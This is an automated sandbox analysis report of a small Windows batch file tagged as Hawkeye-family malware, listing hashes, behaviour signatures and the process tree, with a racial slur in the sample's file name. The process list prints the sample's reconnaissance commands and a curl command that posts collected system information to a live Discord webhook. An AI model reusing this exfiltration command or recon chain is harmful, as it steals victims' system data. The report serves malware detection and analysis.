Analysis
-
max time kernel
104s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system -
submitted
01/04/2025, 14:46
Static task
static1
General
-
Target
niggagimeinfo2.bat
-
Size
732B
-
MD5
384c723caa1bbf8441ac299813f3f0b5
-
SHA1
29aac2285f00328ce71c8ca73a697a132f8fd01c
-
SHA256
1cfa72217a522be6544157099c5ca2eed7db09b05a0e51dc5e0fa2c20dd3021b
-
SHA512
b721e012d2e73bb8790c6e18aab38517666bdaca783abcc85777be5f9f23b1ff8154e9307dbc479a9f45787f109eb01bd4b52f572dd0add051e4f4697013a26f
Malware Config
Signatures
-
Hawkeye family
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 25 discord.com 26 discord.com -
Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
pid Process 5604 WMIC.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4788 ipconfig.exe 4916 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2320 systeminfo.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 1316 whoami.exe Token: SeIncreaseQuotaPrivilege 5604 WMIC.exe Token: SeSecurityPrivilege 5604 WMIC.exe Token: SeTakeOwnershipPrivilege 5604 WMIC.exe Token: SeLoadDriverPrivilege 5604 WMIC.exe Token: SeSystemProfilePrivilege 5604 WMIC.exe Token: SeSystemtimePrivilege 5604 WMIC.exe Token: SeProfSingleProcessPrivilege 5604 WMIC.exe Token: SeIncBasePriorityPrivilege 5604 WMIC.exe Token: SeCreatePagefilePrivilege 5604 WMIC.exe Token: SeBackupPrivilege 5604 WMIC.exe Token: SeRestorePrivilege 5604 WMIC.exe Token: SeShutdownPrivilege 5604 WMIC.exe Token: SeDebugPrivilege 5604 WMIC.exe Token: SeSystemEnvironmentPrivilege 5604 WMIC.exe Token: SeRemoteShutdownPrivilege 5604 WMIC.exe Token: SeUndockPrivilege 5604 WMIC.exe Token: SeManageVolumePrivilege 5604 WMIC.exe Token: 33 5604 WMIC.exe Token: 34 5604 WMIC.exe Token: 35 5604 WMIC.exe Token: 36 5604 WMIC.exe Token: SeIncreaseQuotaPrivilege 5604 WMIC.exe Token: SeSecurityPrivilege 5604 WMIC.exe Token: SeTakeOwnershipPrivilege 5604 WMIC.exe Token: SeLoadDriverPrivilege 5604 WMIC.exe Token: SeSystemProfilePrivilege 5604 WMIC.exe Token: SeSystemtimePrivilege 5604 WMIC.exe Token: SeProfSingleProcessPrivilege 5604 WMIC.exe Token: SeIncBasePriorityPrivilege 5604 WMIC.exe Token: SeCreatePagefilePrivilege 5604 WMIC.exe Token: SeBackupPrivilege 5604 WMIC.exe Token: SeRestorePrivilege 5604 WMIC.exe Token: SeShutdownPrivilege 5604 WMIC.exe Token: SeDebugPrivilege 5604 WMIC.exe Token: SeSystemEnvironmentPrivilege 5604 WMIC.exe Token: SeRemoteShutdownPrivilege 5604 WMIC.exe Token: SeUndockPrivilege 5604 WMIC.exe Token: SeManageVolumePrivilege 5604 WMIC.exe Token: 33 5604 WMIC.exe Token: 34 5604 WMIC.exe Token: 35 5604 WMIC.exe Token: 36 5604 WMIC.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2520 wrote to memory of 3180 2520 cmd.exe 88 PID 2520 wrote to memory of 3180 2520 cmd.exe 88 PID 2520 wrote to memory of 1316 2520 cmd.exe 89 PID 2520 wrote to memory of 1316 2520 cmd.exe 89 PID 2520 wrote to memory of 2320 2520 cmd.exe 90 PID 2520 wrote to memory of 2320 2520 cmd.exe 90 PID 2520 wrote to memory of 836 2520 cmd.exe 91 PID 2520 wrote to memory of 836 2520 cmd.exe 91 PID 2520 wrote to memory of 4788 2520 cmd.exe 98 PID 2520 wrote to memory of 4788 2520 cmd.exe 98 PID 2520 wrote to memory of 4820 2520 cmd.exe 99 PID 2520 wrote to memory of 4820 2520 cmd.exe 99 PID 2520 wrote to memory of 4916 2520 cmd.exe 102 PID 2520 wrote to memory of 4916 2520 cmd.exe 102 PID 2520 wrote to memory of 4940 2520 cmd.exe 103 PID 2520 wrote to memory of 4940 2520 cmd.exe 103 PID 2520 wrote to memory of 5604 2520 cmd.exe 104 PID 2520 wrote to memory of 5604 2520 cmd.exe 104 PID 2520 wrote to memory of 5348 2520 cmd.exe 105 PID 2520 wrote to memory of 5348 2520 cmd.exe 105
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\niggagimeinfo2.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\system32\HOSTNAME.EXEhostname2⤵PID:3180
-
-
C:\Windows\system32\whoami.exewhoami2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1316
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2320
-
-
C:\Windows\system32\findstr.exefindstr /B /C:"OS Name" /C:"OS Version"2⤵PID:836
-
-
C:\Windows\system32\ipconfig.exeipconfig2⤵
- Gathers network information
PID:4788
-
-
C:\Windows\system32\findstr.exefindstr IPv62⤵PID:4820
-
-
C:\Windows\system32\ipconfig.exeipconfig2⤵
- Gathers network information
PID:4916
-
-
C:\Windows\system32\findstr.exefindstr IPv42⤵PID:4940
-
-
C:\Windows\System32\Wbem\WMIC.exewmic logicaldisk get caption, freespace, size2⤵
- Collects information from the system
- Suspicious use of AdjustPrivilegeToken
PID:5604
-
-
C:\Windows\system32\curl.execurl -X POST https://discord.com/api/webhooks/1356639514516521070/8nlc2VGdJHuRDez5RrzlRRII70A1yJIPtcnWxxs29eiCCPnO9RISRmMRDDKhvSaTzDx8 -H "Content-Type: application/json" -d "{\"content\": \"```\n$(type "C:\Users\Admin\AppData\Local\Temp\sysinfo.txt")\n```\"}"2⤵PID:5348
-